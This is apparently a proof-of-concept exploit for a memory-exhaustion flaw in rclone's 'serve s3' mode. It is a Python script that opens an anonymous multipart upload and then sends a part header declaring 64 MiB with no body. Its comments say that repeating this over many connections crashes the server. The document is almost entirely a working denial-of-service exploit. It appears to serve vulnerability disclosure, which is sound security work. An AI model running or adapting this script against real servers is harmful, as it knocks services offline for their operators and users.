CVE-2026-88045: rclone serve s3 Multipart Memory Exhaustion via Declared Content-Length

# Step 1: start rclone in one terminal
# mkdir -p /tmp/rclone-s3-root/bucket
# ./rclone serve s3 /tmp/rclone-s3-root --addr 127.0.0.1:8080 --multipart-streaming-buffer-limit 1Mi

# Step 2: run this script in another terminal
import http.client
import socket
import time
import xml.etree.ElementTree as ET
from urllib.parse import quote

host, port = "127.0.0.1", 8080

# Create multipart upload (anonymous mode, no auth needed by default)
c = http.client.HTTPConnection(host, port, timeout=5)
c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"})
r = c.getresponse()
body = r.read()
assert r.status == 200, (r.status, body)
upload_id = ET.fromstring(body).findtext("{*}UploadId")
assert upload_id
c.close()

# Declare a 64 MiB part but send zero body bytes
declared = 64 * 1024 * 1024
path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="")

s = socket.create_connection((host, port), timeout=5)
s.sendall((
    f"PUT {path} HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    f"Content-Length: {declared}\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode("ascii"))

# No body bytes sent. rclone has already reserved 64 x 1 MiB pool pages.
# Open more connections to multiply; sufficiently large value crashes the process.
time.sleep(5)
s.close()